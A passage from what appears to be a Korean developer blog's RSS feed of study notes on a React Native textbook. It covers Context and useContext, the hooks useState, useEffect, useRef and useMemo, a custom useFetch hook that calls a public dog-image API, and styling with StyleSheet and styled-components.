<p><img src="https://velog.velcdn.com/images/mk-cyb/post/2da43572-7f93-4804-84cf-e0db30980ac1/image.png" alt=""></p>
<h3 id="723-context-수정하기">7.2.3 Context 수정하기</h3>
<p><strong>src/contexts/User.js</strong></p>
<pre><code class="language-js">import { createContext, useState } from &quot;react&quot;;

const UserContext = createContext({
    user: { name: &#39;&#39; },
    dispatch: () =&gt; {},
});

const UserProvider = ({ children }) =&gt; {
    const [name, setName] = useState(&#39;mk-cyb&#39;);

    const value = { user: {name}, dispatch: setName};
    return &lt;UserContext.Provider value={value}&gt;{children}&lt;/UserContext.Provider&gt;
};

const UserConsumer = UserContext.Consumer;

export { UserProvider, UserConsumer };

export default UserContext;</code></pre>
<ul>
<li>Provider 컴포넌트의 value에 전역으로 관리할 상태변수와 상태 변경 함수를 함께 전달하는 UserProvider 컴포넌트</li>
<li>createContext의 기본값도 UserProvider 컴포넌트의 value로 전달하는 형태와 동일한 형태를 갖도록 함</li>
</ul>
<p><strong>Input 컴포넌트</strong></p>
<pre><code class="language-js">import React, { useState } from &quot;react&quot;;
import styled from &quot;styled-components/native&quot;;
import { UserConsumer } from &quot;../contexts/User&quot;;

const StyledInput = styled.TextInput`
    border: 1px solid #606060;
    width: 250px;
    padding: 10px 15px;
    margin: 10px;
    font-size: 24px;
`

const Input = () =&gt; {
    const [name, setName] = useState(&#39;&#39;);

    return (
        &lt;UserConsumer&gt;
            {({ dispatch }) =&gt; {
                return (
                    &lt;StyledInput
                        value={name}
                        onChangeText={text =&gt; setName(text)}
                        onSubmitEditing={() =&gt; {
                            dispatch(name);
                            setName(&#39;&#39;);
                        }}
                        placeholder=&quot;Enter a name...&quot;
                        autoCapitalize=&quot;none&quot;
                        autoCorrect={false}
                        returnKeyType=&quot;done&quot;
                        /&gt;
                );
            }}
        &lt;/UserConsumer&gt;

    );
};
export default Input;</code></pre>
<ul>
<li>UserProvider 컴포넌트의 value로 전달되는 세터함수를 이용해 입력되는 값으로 Context의 값을 변경하는 Input 컴포넌트</li>
<li>UserConsumer의 컴포넌트의 자식 함수에 전달되는 value에는 dispatch 함수가 같이 전달됨</li>
<li>dispatch를 이용해 키보드의 확인버튼을 누르면 TextInput에 입력된 입력값으로 Context의 값을 변경<img src="https://velog.velcdn.com/images/mk-cyb/post/259e94c2-465d-47d5-bb19-2c9b6bdffa69/image.png" alt=""></li>
</ul>
<h2 id="73-usecontext">7.3 useContext</h2>
<p>useContext 함수는 Consumer 컴포넌트의 자식 함수로 전달도던 값과 동일한 데이터를 반환
Consumer 컴포넌트를 사용하지 않고 Context의 내용을 사용 가능
<strong>src/components/User.js</strong></p>
<pre><code class="language-js">import React, { useContext } from &quot;react&quot;;
...
const User = () =&gt; {
    const { user } = useContext(UserContext);
    return &lt;StyledText&gt;Name: {user.name}&lt;/StyledText&gt;;
};
...</code></pre>
<p><strong>src/components/Input.js</strong></p>
<pre><code class="language-js">import React, { useState, useContext } from &quot;react&quot;;
...
const Input = () =&gt; {
    const [name, setName] = useState(&#39;&#39;);
    const { dispatch } = useContext(UserContext);

    return (
        &lt;StyledInput
            value={name}
            onChangeText={text =&gt; setName(text)}
            onSubmitEditing={() =&gt; {
                dispatch(name);
                setName(&#39;&#39;);
            }}
            placeholder=&quot;Enter a name...&quot;
            autoCapitalize=&quot;none&quot;
            autoCorrect={false}
            returnKeyType=&quot;done&quot;
            /&gt;
    );
};
...</code></pre>
<ul>
<li>Consumer를 사용할 때<ul>
<li>자식으로 반드시 리액트 컴포넌트를 반환하는 함수를 넣어야함</li>
</ul>
</li>
<li>useContext 사용<ul>
<li>코드의 가독성 좋아짐</li>
<li>사용법이 간편</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[리액트 네이티브] 6장 Hooks]]></title>
            <link>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-6%EC%9E%A5-Hooks</link>
            <guid>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-6%EC%9E%A5-Hooks</guid>
            <pubDate>Fri, 19 Jan 2024 19:46:23 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>처음 배우는 리액트 네이티브 - 김범준 정리</p>
</blockquote>
<h1 id="6장-hooks">6장 Hooks</h1>
<h2 id="61-usestate">6.1 useState</h2>
<p>컴포넌트 상태를 관리하기 위한 useState</p>
<pre><code class="language-js">const [count, setCount] = useState(0);</code></pre>
<ul>
<li>호출 시 변수와 그 변수를 수정할 수 있는 세터 함수를 배열로 반환</li>
<li>호출할 때 전달한 값을 초깃값으로 갖는 상태 변수</li>
<li>여러 번 사용 가능함</li>
<li>변수는 반드시 세터 함수를 이용해 값을 변경해야함</li>
<li>상태가 변경되면 컴포넌트가 변경된 내용을 반영하여 리렌더링 됨</li>
</ul>
<h3 id="611-usestate-사용하기">6.1.1 useState 사용하기</h3>
<p><strong>src/components/Counter.js</strong></p>
<pre><code class="language-js">import React, { useState } from &quot;react&quot;;
import styled from &#39;styled-components/native&#39;;
import Button from &quot;./Button&quot;;

const StyledText = styled.Text`
    font-size: 24px;
    margin: 10px;
`;

const Counter = () =&gt; {
    const [count, setCount] = useState(0);

    return (
        &lt;&gt;
            &lt;StyledText&gt;count: {count}&lt;/StyledText&gt;
            &lt;Button
                title=&quot;+&quot;
                onPress={() =&gt; {
                    setCount(count +1);
                }}
            /&gt;
            &lt;Button
                title=&quot;-&quot;
                onPress={() =&gt; {
                    setCount(count -1);
                }}
            /&gt;

        &lt;/&gt;
    );
};

export default Counter;</code></pre>
<p>숫자 상태를 나타내는 count를 useState로 생성, Button 컴포넌트를 이용하여 클릭마다 세터 함수를 이용해 상태 변경</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/87a54f26-f866-4d71-8cca-6086c756310c/image.png" alt=""></p>
<h3 id="612-세터-함수">6.1.2 세터 함수</h3>
<ol>
<li>세터 함수에 변경될 상태의 값 전달</li>
<li>세터 함수의 파라미터에 함수를 전달</li>
</ol>
<pre><code class="language-js">setState(prevState =&gt; {});</code></pre>
<p>전달된 함수에는 변경되기 전 상태값이 파라미터로 전달 됨
이 값을 어떻게 수정할 지 함수로 정의
세터 함수는 비동기로 동작하기 때문에 상태 변경이 여러번 일어날 경우 상태가 변경되기 전에 상태에 대한 업데이트가 일어나서 의도대로 동작하지 않을 수 있음
바로바로 변경 x
이를 해결하기 위해서 세터 함수에 함수를 인자로 전달하여 이전 상태값을 이용할 수 있음</p>
<pre><code class="language-js">setCount(prevCount =&gt; prevCount + 1);
setCount(prevCount =&gt; prevCount + 1);</code></pre>
<p>이렇게 코드를 작성하면 두 번 호출했을 때 count가 의도대로 2번 증가함</p>
<h2 id="62-useeffect">6.2 useEffect</h2>
<p>컴포넌트가 렌더링될 때 마다 원하는 작업이 실행되도록 설정할 수 있는 기능</p>
<pre><code class="language-js">useEffect(() =&gt; {}, []);</code></pre>
<p>첫 번째 파라미터로 전달된 함수는 조건을 만족할 때마다 호출
두 번째 파라미터로 전달되는 배열을 이용해 함수 호출 조건 설정</p>
<h3 id="621-useeffect-사용하기">6.2.1 useEffect 사용하기</h3>
<ul>
<li>두 번째 파라미터에 어떤 값도 전달하지 않으면 첫 번째 파라미터로 전달된 함수는 컴포넌트가 렌더링 될 때마다 호출</li>
</ul>
<pre><code class="language-js">import React, { useState, useEffect } from &#39;react&#39;;
import styled from &#39;styled-components/native&#39;;

const StyledTextInput = styled.TextInput.attrs({
    autoCapitalize: &#39;none&#39;,
    autoCorrect: false,
})`
    border: 1px solid #757575;
    padding: 10px;
    margin: 10px 0;
    width: 200px;
    font-size: 20px;
`;
const StyledText = styled.Text`
    font-size: 24px;
    margin: 10px;
`;

const Form = () =&gt; {
    const [name, setName] = useState(&#39;&#39;);
    const [email, setEmail] = useState(&#39;&#39;);

    useEffect(() =&gt; {
        console.log(`name: ${name}, email: ${email}\n`);
    });

    return (
        &lt;&gt;
            &lt;StyledText&gt;Name: {name}&lt;/StyledText&gt;
            &lt;StyledText&gt;Email: {email}&lt;/StyledText&gt;
            &lt;StyledTextInput
                value={name}
                onChangeText={text =&gt; setName(text)}
                placeholder=&quot;name&quot;
            /&gt;
            &lt;StyledTextInput
                value={email}
                onChangeText={text =&gt; setEmail(text)}
                placeholder=&quot;email&quot;
            /&gt;
        &lt;/&gt;

    );

};

export default Form;</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/b161c8a2-71f0-4676-8f2d-6646f27e6562/image.png" alt="">
<img src="https://velog.velcdn.com/images/mk-cyb/post/d2b05ed2-ff55-47a9-9147-473f0e6151e9/image.png" alt=""></p>
<h3 id="622-특정-조건에서-실행하기">6.2.2 특정 조건에서 실행하기</h3>
<ul>
<li>두 번째 파라미터에 해당 상태를 관리하는 변수를 배열로 전달</li>
<li>그 값이 변할 때마다 호출됨</li>
<li>세터함수가 비동기이므로 값이 변경되면 실행할 함수를 useEffect로 정의<pre><code class="language-js">  useEffect(() =&gt; {
      console.log(`name: ${name}, email: ${email}\n`);
  }, [email]);</code></pre>
두 번째 파라미터를 email로 지정</li>
</ul>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/062bfcb3-a488-404f-af15-659e0a239424/image.png" alt=""></p>
<p>email이 변할 때만 log 생김</p>
<h3 id="623-마운트시-실행">6.2.3 마운트시 실행</h3>
<ul>
<li>두 번째 파라미터에 빈 배열을 전달하면 컴포넌트가 처음 렌더링될 때만 함수가 호출</li>
</ul>
<pre><code class="language-js">    useEffect(() =&gt; {
        console.log(`\n===== Form Component Mount =====\n`);
    }, []);</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/cde2a8c6-edf9-473d-9c58-61e7ed955ae9/image.png" alt=""></p>
<h3 id="624-언마운트시-실행">6.2.4 언마운트시 실행</h3>
<ul>
<li>useEffect에서 전달하는 함수에서 반환하는 함수를 정리 함수라고 함</li>
<li>실행 조건이 빈 배열인 경우 언마운트 될 때 정리 함수를 실행<pre><code class="language-js">  useEffect(() =&gt; {
      console.log(`\n===== Form Component Mount =====\n`);
      return () =&gt; console.log(&#39;\n===== Form Component Unmount =====\n&#39;);
  }, []);</code></pre>
</li>
</ul>
<pre><code class="language-js">const App = () =&gt; {
    const [isVisible, setIsVisible] = useState(true);
    return (
    &lt;Container&gt;
        &lt;Button
            title={isVisible ? &#39;Hide&#39; :&#39;Show&#39;}
            onPress={() =&gt; setIsVisible(prev =&gt; !prev)}
        /&gt;
        {isVisible &amp;&amp; &lt;Form /&gt;}
    &lt;/Container&gt;
    );
};</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/df8dc1d2-9b03-4c02-9d48-4d35d50259a8/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/f3a5eed1-87c6-4658-ba35-1512a47038f0/image.png" alt=""></p>
<h2 id="63-useref">6.3 useRef</h2>
<p>특정 DOM을 선택해야할 때 사용하는 getElementById 처럼 특정 컴포넌트를 선택해야 할 때 사용
예를 들어 컴포넌트로 포커스를 설정하고 싶은 경우</p>
<pre><code class="language-js">const ref = useRef(initialValue);</code></pre>
<p><strong>주의할 점</strong></p>
<ul>
<li>컴포넌트의 ref로 지정하면 생성된 변수에 값이 저장되는 것이 아닌 변수의 .current 프로퍼티에 저장</li>
<li>useRef는 useState와 달리 내용이 변경되어도 다시 렌더링되지 않음</li>
</ul>
<pre><code class="language-js">const Form = () =&gt; {
  ...
    const refName = useRef(null);
    const refEmail = useRef(null);
  ...

    useEffect(() =&gt; {
        console.log(`\n===== Form Component Mount =====\n`);
        refName.current.focus();
        return () =&gt; console.log(&#39;\n===== Form Component Unmount =====\n&#39;);
    }, []);

    return (
        &lt;&gt;
            ...
            &lt;StyledTextInput
                ...
                ref={refName}
                returnKeyType=&#39;next&#39;
                onSubmitEditing={() =&gt; refEmail.current.focus()}  
            /&gt;
            &lt;StyledTextInput
                ...
                ref={refEmail}
                returnKeyType=&#39;done&#39;
            /&gt;
        &lt;/&gt;

    );

};</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/ae60f2cf-9564-42f1-83a1-4a2606626e4e/image.png" alt="">
<img src="https://velog.velcdn.com/images/mk-cyb/post/6a31512f-3282-4cfa-8a6b-27b8dc8d7ba0/image.png" alt=""></p>
<p>키보드의 완료 버튼을 각각 next와 done으로 변경하고 마운트 될 때 name 에 포커스가 있도록, next를 누르면 email로 포커스를 옮기도록 설정함</p>
<h2 id="64-usememo">6.4 useMemo</h2>
<p>동일한 연산의 반복 수행을 제거하여 성능을 최적화 시킴</p>
<pre><code class="language-js">useMemo(() =&gt; {}, []);</code></pre>
<p>첫 번째 파라미터에 함수 전달
두 번째 파라미터에 함수 실행 조건을 배열로 전달하면 지정된 값에 변화가 있는 경우에만 함수가 호출</p>
<p><strong>useEffect 사용 전</strong></p>
<pre><code class="language-js">const getLength = text =&gt; {
    console.log(`Target Text: ${text}`);
    return text.length;
}

const list = [&#39;JavaScript&#39;,&#39;Expo&#39;,&#39;Expo&#39;,&#39;React Native&#39;];

let idx = 0;
const Length = () =&gt; {
    const [text, setText] = useState(list[0]);
    const [length,setLength] = useState(&#39;&#39;);
    const _onPress = () =&gt; {
        setLength(getLength(text));
        ++idx;
        if (idx &lt; list.length) setText(list[idx]);
    };
    return(
        &lt;&gt;
            &lt;StyledText&gt;Text: {text}&lt;/StyledText&gt;
            &lt;StyledText&gt;Length: {length}&lt;/StyledText&gt;
            &lt;Button title=&quot;Get Length&quot; onPress={_onPress} /&gt;
        &lt;/&gt;
    );
}

export default Length;
</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/43982ba9-d123-416e-8e66-215de59fa98f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/ff74c9f7-c5f1-4f86-898c-c0364520458f/image.png" alt=""></p>
<p><strong>useEffect 사용 후</strong></p>
<pre><code class="language-js">...
const Length = () =&gt; {
    const [text, setText] = useState(list[0]);
    const _onPress = () =&gt; {
        ++idx;
        if (idx &lt; list.length) setText(list[idx]);
    };
    const length = useMemo(() =&gt; getLength(text), [text]);
...
}

export default Length;</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/62eb1c58-268d-4e6c-93e7-f583c8e17ae0/image.png" alt=""></p>
<p>useMemo를 사용해 text의 값이 변경되었을 때만 text의 길이를 구함
중복 연산을 방지함으로써 성능을 최적화</p>
<h2 id="65-커스텀-hooks-만들기">6.5 커스텀 Hooks 만들기</h2>
<p>Fetch를 사용하여 useFetch라는 이름의 Hook 만들기
<strong>useFetch.js</strong></p>
<pre><code class="language-js">import { useState, useEffect } from &quot;react&quot;;

export const useFetch = url =&gt; {
    const [data, setData] = useState(null);
    const [error, setError] = useState(null);

    useEffect(() =&gt; {
       const fetchData = async () =&gt; {
        try {
            const res = await fetch(url);
            const result = await res.json();
            if (res.ok) {
                setData(result);
                setError(null);
            } else {
                throw result;
            }
        } catch (error){
            setError(error);
        }
        };
        fetchData();
       }, []);

       return {data, error};
    };</code></pre>
<p>useEffect에 비동기함수를 첫 번째 파라미터로 전달할 경우 함수 내부에 비동기함수를 정의하고 사용하는 방법으로 경고를 방지할 수 있음
<strong>Dog.js</strong></p>
<pre><code class="language-js">import React from &#39;react&#39;;
import styled from &#39;styled-components/native&#39;;
import { useFetch } from &#39;../hooks/useFetch&#39;;

const StyledImage = styled.Image`
    background-color: #7f8c8d;
    width: 300px;
    height: 300px;
`

const URL = &#39;https://dog.ceo/api/breeds/image/random&#39;;
const Dog = () =&gt; {
    const {data,error} = useFetch(URL);

    return(
        &lt;&gt;
            &lt;StyledImage source={data?.message ? {uri: data.message} : null} /&gt;
        &lt;/&gt;
    );
};

export default Dog;
</code></pre>
<p>이때 data?.message 는 옵셔널 체이닝 문법으로 data 속성이 있을 경우에만 접근하여 TypeError를 방지하며 안전하게 접근하는 문법임</p>
<p>강아지 api
<a href="https://dog.ceo/api/breeds/image/random">Dogs API https://dog.ceo/api/breeds/image/random</a></p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/0000eebd-9d2e-43e9-938c-346751f0e478/image.png" alt="">
<strong>useFetch.js</strong></p>
<pre><code class="language-js">...
    const [inProgress, setInProgress] = useState(false);
...
    useEffect(() =&gt; {
       const fetchData = async () =&gt; {
        try {
            setInProgress(true);
            ...
        } catch (error){
            setError(error);
        } finally {
            setInProgress(false);
        }
        };
        fetchData();
       }, []);

       return {data, error, inProgress};
    };</code></pre>
<p><strong>Dog.js</strong></p>
<pre><code class="language-js">...
const Loading = styled.Text`
    font-size: 18px;
    color: #2ecc71;
`

const URL = &#39;https://dog.ceo/api/breeds/image/random&#39;;
const Dog = () =&gt; {
    const {data,error, inProgress} = useFetch(URL);

    return(
        &lt;&gt;
            {inProgress &amp;&amp; (
                &lt;Loading&gt;The API request is in progress&lt;/Loading&gt;
            )}
...
        &lt;/&gt;
    );
};

export default Dog;</code></pre>
<p>api 요청 중 로딩 메세지를 띄워주도록 코드 추가
<img src="https://velog.velcdn.com/images/mk-cyb/post/0fb84eec-48be-443e-b6a1-67b86862a152/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[리액트 네이티브] 4장 스타일링]]></title>
            <link>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-4%EC%9E%A5-%EC%8A%A4%ED%83%80%EC%9D%BC%EB%A7%81</link>
            <guid>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-4%EC%9E%A5-%EC%8A%A4%ED%83%80%EC%9D%BC%EB%A7%81</guid>
            <pubDate>Thu, 18 Jan 2024 17:01:57 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>처음 배우는 리액트 네이티브 - 김범준 책 정리</p>
</blockquote>
<h1 id="4장-스타일링">4장 스타일링</h1>
<h2 id="41-스타일링">4.1 스타일링</h2>
<p>리액트 네이티브는 자바스크립트를 이용해 스타일링 가능</p>
<ul>
<li>컴포넌트에 style 속성이 있어 속성에 인라인 스타일을 적용하는 방법</li>
<li>스타일시트에 정의된 스타일을 사용하는 방법</li>
</ul>
<h3 id="411-인라인-스타일링">4.1.1 인라인 스타일링</h3>
<p>이전 3장에서 간략히 살펴봤듯이 html에서는 문자열 형태로 스타일 입력하지만 리액트 네이티브에서는 <strong>객체 형태</strong>로 컴포넌트에 직접 스타일 입력 가능
카멜 표기법으로 작성</p>
<pre><code class="language-jsx">const App = () =&gt; {
  return (
    &lt;View
      style={{
        flex: 1,
        backgroundColor: &#39;#fff&#39;,
        alignItems: &#39;center&#39;,
      }}
    &gt;&lt;/View&gt;
   );
};
</code></pre>
<p><strong>장점</strong>
어떤 스타일이 적용되는지 잘보임
<strong>단점</strong>
비슷한 역할을 하는 컴포넌트에 동일 코드 반복
어떤 이유로 해당 스타일이 적용되었는지 코드만으로 이해하기 어려움</p>
<h3 id="412-클래스-스타일링">4.1.2 클래스 스타일링</h3>
<p>웹 프로그래밍에서 css 클래스를 이용하는 방식과 유사
스타일시트에 정의된 스타일을 사용하는 방법</p>
<pre><code class="language-jsx">const App = () =&gt; {
  return (
    &lt;View style={styles.container}&gt;
    &lt;/View&gt;
   );
};

const styles = StyleSheet.create({
  container: {
        flex: 1,
        backgroundColor: &#39;#fff&#39;,
        alignItems: &#39;center&#39;,
  },
});
</code></pre>
<p>장기적인 측면에서 클래스 스타일을 사용하는 것이 관리가 용이함</p>
<h3 id="413-여러개의-스타일-적용">4.1.3 여러개의 스타일 적용</h3>
<p>여러 개의 스타일을 적용해야 할 경우는 배열을 이용하여 style 속성에 여러 스타일을 적용할 수 있음</p>
<pre><code class="language-jsx">const App = () =&gt; {
  return (
    &lt;View style={styles.container}&gt;
      &lt;Text style={[styles.text, styles.error]}&gt;Error&lt;/Text&gt;
    &lt;/View&gt;
   );
};

const styles = StyleSheet.create({
  container: {
        flex: 1,
        backgroundColor: &#39;#fff&#39;,
        alignItems: &#39;center&#39;,
  },
  text: {
    fontSize: 26,
    fontWeight: &#39;600&#39;,
    color: &#39;black&#39;,
  },
  error: {
    fontWeight: &#39;400&#39;,
    color: &#39;red&#39;,
  },
});
</code></pre>
<p><strong>주의할 점</strong>
배열 스타일의 순서에 주의
뒤에오는 스타일이 앞에 있는 스타일을 덮음</p>
<ul>
<li>[styles.text, styles.error]</li>
<li>[styles.error, styles.text]</li>
</ul>
<p>두 가지가 다르게 나타나므로 주의</p>
<pre><code class="language-jsx">const App = () =&gt; {
  return (
    &lt;View style={styles.container}&gt;
      &lt;Text style={[styles.text, styles.error, {color: &#39;green&#39;}]}&gt;Green Error&lt;/Text&gt;
    &lt;/View&gt;
   );
};</code></pre>
<p>이런 식으로 배열안에 인라인 스타일과 클래스 스타일 방식을 혼용해서 사용할 수 도 있음</p>
<h3 id="414-외부-스타일-이용하기">4.1.4 외부 스타일 이용하기</h3>
<p>외부 파일에 스타일을 정의하고 여러 개의 파일에서 스타일을 공통으로 사용하는 경우</p>
<pre><code class="language-jsx">import { StyleSheet } from &#39;react-native&#39;;

export const viewStyles = StyleSheet. create({
  container: {
        flex: 1,
        backgroundColor: &#39;#fff&#39;,
        alignItems: &#39;center&#39;,
  },
});

export const textStyles = StyleSheet.create({
  text: {
    fontSize: 26,
    fontWeight: &#39;600&#39;,
    color: &#39;black&#39;,
  },
  error: {
    fontWeight: &#39;400&#39;,
    color: &#39;red&#39;,
  },
});
</code></pre>
<p>두 개의 스타일 시트 작성하고 모두 외부에서 사용할 수 있도록 export</p>
<pre><code class="language-jsx">import { viewStyles, textStyles } from &#39;./styles&#39;;

const App = () =&gt; {
  return (
    &lt;View style={viewStyles.container}&gt;
      &lt;Text style={[textStyles.text, textStyles.error, {color: &#39;green&#39;}]}&gt;Green Error&lt;/Text&gt;
    &lt;/View&gt;
   );
};</code></pre>
<p>다른 파일에서 import 하여 사용하면 됨</p>
<h2 id="42-리액트-네이티브-스타일">4.2 리액트 네이티브 스타일</h2>
<p>리액트 네이티브에서 자주 사용되는 중요한 스타일 속성들</p>
<h3 id="421-flex와-범위">4.2.1 flex와 범위</h3>
<p>flex는 값으로 숫자를 받으며 값이 0일 때는 설정된 width와 height 값에 따라 크기가 결정, 양수인 경우 flex 값에 비례하여 크기가 조정</p>
<pre><code class="language-jsx">const styles = Stylesheet.create({
  header: {
    flex: 1,
  },
  contents: {
    flex: 2,
  },
  footer: {
    flex: 1,
  },
});
</code></pre>
<p>이렇게 작성할 경우 화면 전체를 1:2:1의 비율로 나누어 채우게 됨</p>
<p>header와 footer의 height을 80으로 고정하고 싶다면 다음과 같이 작성</p>
<pre><code class="language-jsx">const styles = Stylesheet.create({
  header: {
    height: 80,
  },
  contents: {
    flex: 1,
    height: 640,
  },
  footer: {
    height: 80,
  },
});
</code></pre>
<p>이렇게 할 경우 Contents 컴포넌트가 나머지 부분을 모두 차지하게 됨.</p>
<h3 id="422-정렬">4.2.2 정렬</h3>
<h4 id="flexdirection">flexDirection</h4>
<ul>
<li>column: 세로 방향 정렬 (기본값)</li>
<li>column-reverse: 세로 방향 역순 정렬</li>
<li>row: 가로 방향 정렬</li>
<li>row-reverse: 가로 방향 역순 정렬</li>
</ul>
<p>flexDirection은 자식 컴포넌트가 쌓이는 방향임</p>
<h4 id="justifycontent">justifyContent</h4>
<p>flexDirection의 방향과 동일한 방향축 정렬하는 속성</p>
<ul>
<li>flex-start</li>
<li>flex-end</li>
<li>center</li>
<li>space-between</li>
<li>space-around</li>
<li>space-evenly</li>
</ul>
<h4 id="alignitems">alignItems</h4>
<p>flexDirection의 방향과 수직이 되는 방향축 정렬하는 속성</p>
<ul>
<li>flex-start</li>
<li>flex-end</li>
<li>center</li>
<li>stretch</li>
<li>baseline</li>
</ul>
<h3 id="423-그림자">4.2.3 그림자</h3>
<p>리액트 네이티브에서 그림자와 관련된 스타일 속성 네가지</p>
<ul>
<li>shadowColor</li>
<li>shadowOffset: width, heigh 지정하여 그림자 거리 설정</li>
<li>shadowOpacity</li>
<li>shadowRadius: 흐림 반경</li>
</ul>
<blockquote>
<p>iOS 에서만 적용</p>
</blockquote>
<ul>
<li>elevation: 안드로이드 그림자 속성</li>
</ul>
<p>이렇게 각 플랫폼마다 다를 경우에는 Platform 모듈을 이용할 수 있음</p>
<ul>
<li><a href="https://reactnative.dev/docs/platform-specific-code#platform-module">https://reactnative.dev/docs/platform-specific-code#platform-module</a></li>
</ul>
<h2 id="43-스타일드-컴포넌트">4.3 스타일드 컴포넌트</h2>
<p>css 에서 사용하던 것과 차이가 있어서 불편함 이런 점을 스타일드 컴포넌트로 해결 가능</p>
<ul>
<li>스타일드 컴포넌트: <a href="https://styled-components.com/">https://styled-components.com/</a></li>
</ul>
<h3 id="431-스타일드-컴포넌트-사용법">4.3.1 스타일드 컴포넌트 사용법</h3>
<pre><code class="language-jsx">import styled from &#39;styled-components/native&#39;;

const Title = styled.h1`
  font-size: 1.5em;
  text-align: center;
  color: #BF4F74;
`;
</code></pre>
<p>styled.[컴포넌트 이름] 뒤에 백틱(`)을 사용하여 만든 문자열을 붙이고 그 안에 스타일을 지정하면 됨.
태그드 템플릿 리터럴(tagged template literals) 라고 함.</p>
<pre><code class="language-jsx">import styled from &#39;styled-components/native&#39;;

const whiteText = css`
    color: #fff;
    font-size: 14px;
`;
const BoldText = styled.Text`
    ${whiteText}
    font-size: 14px;
`;
</code></pre>
<p>css를 이용하여 재사용 가능한 코드 관리 가능</p>
<pre><code class="language-jsx">import styled from &#39;styled-components/native&#39;;

const StyledText = styled.Text`
    font-size: 14px;
`;
const ErrorText = styled(StyledText)`
    color: red;
`;
</code></pre>
<p>완성된 컴포넌트를 상속받아 이용할 수 있음. 상속 받아 새로운 컴포넌트를 만들 때 이름을 styled(상속 컴포넌트 이름) 으로 소괄호로 감싸야 함.</p>
<h3 id="432-스타일-적용하기">4.3.2 스타일 적용하기</h3>
<pre><code class="language-jsx">import styled from &#39;styled-components/native&#39;;

const ButtonContainer = styled.TouchableOpacity`
    background-color: #fff;
`;
const Title = styled.Text`
    color: red;
    font-size: 20px;
`;
const Button = props =&gt; {
  return (
    &lt;ButtonContainer&gt;
      &lt;Title&gt;{props.title}&lt;/Title&gt;
    &lt;/ButtonContainer&gt;
  );
};

export default Button;
</code></pre>
<p>TouchableOpacity 컴포넌트에 스타일이 적용된 ButtonContainer 컴포넌트를 새로 만드는 방식으로 여러 컴포넌트를 만들고 버튼 컴포넌트를 만듬</p>
<p>다른 파일에서 이 버튼 컴포넌트를 사용할 수 있음.</p>
<h3 id="433-props-사용하기">4.3.3 props 사용하기</h3>
<p>기존 방식으로 스타일시트 사용하면 스타일시트 내에서 props에 접근할 수 없음
스타일드 컴포넌트에서는 스타일을 작성하는 백틱 안에서 props에 접근할 수 있는 장점이 있음</p>
<h3 id="434-attrs-사용하기">4.3.4 attrs 사용하기</h3>
<p>스타일드 컴포넌트에서 속성을 설정할 때 attrs를 사용할 수있음</p>
<pre><code class="language-jsx">const StyledInput = styled.TextInput.attrs(props =&gt; ({
  placeholder: &#39;Enter a text...&#39;,
  placeholderTextColor: props.borderColor,
}))`
    border-color: ${props =&gt; props.borderColor};
`;

const Input = props =&gt; {
  return &lt;StyledInput borderColor={props.borderColor} /&gt;;
};</code></pre>
<h3 id="435-themeprovider">4.3.5 ThemeProvider</h3>
<p>스타일드 컴포넌트의 ThemeProvider는 Context API를 활용해 미리 정의한 값들을 사용할 수 있도록 props로 전달함</p>
<p>src/theme.js</p>
<pre><code class="language-jsx">export const theme = {
  purple: &#39;#9b59b6&#39;,
  blue: &#39;#3498db&#39;,
};</code></pre>
<p>src/App.js</p>
<pre><code class="language-jsx">import styled, { ThemeProvider } from &#39;styled-components/native&#39;;
import { theme } from &#39;./theme&#39;;

const App = () =&gt; {
  return (
   &lt;ThemeProvider theme={theme}&gt;
      &lt;Container&gt; ... &lt;/Container&gt;
    &lt;/ThemeProvider&gt;
   );
};</code></pre>
<p>Button 컴포넌트에서 스타일을 정의할 때 props로 전달되는 theme을 이용할 수 있음
src/components/Button.js</p>
<pre><code class="language-jsx">const ButtonContainer = styled.TouchableOpacity`
    background-color: ${props =&gt;
      props.title === &#39;mk&#39; ? props.theme.blue : props.theme.purple};</code></pre>
<p>ThemeProvider를 이용하여 미리 다크모드와 라이트모드를 만들어두고 애플리케이션 색 테마를 변경할 수 있음</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[리액트 네이티브] 3장 컴포넌트]]></title>
            <link>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-3%EC%9E%A5-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8</link>
            <guid>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-3%EC%9E%A5-%EC%BB%B4%ED%8F%AC%EB%84%8C%ED%8A%B8</guid>
            <pubDate>Wed, 17 Jan 2024 09:33:57 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>처음 배우는 리액트 네이티브 책을 필요한 부분만 정리</p>
</blockquote>
<h1 id="3장-컴포넌트">3장 컴포넌트</h1>
<h2 id="31-jsx">3.1 JSX</h2>
<h3 id="311-하나의-부모">3.1.1 하나의 부모</h3>
<p>여러 요소를 반드시 하나의 부모로 감싸야 함</p>
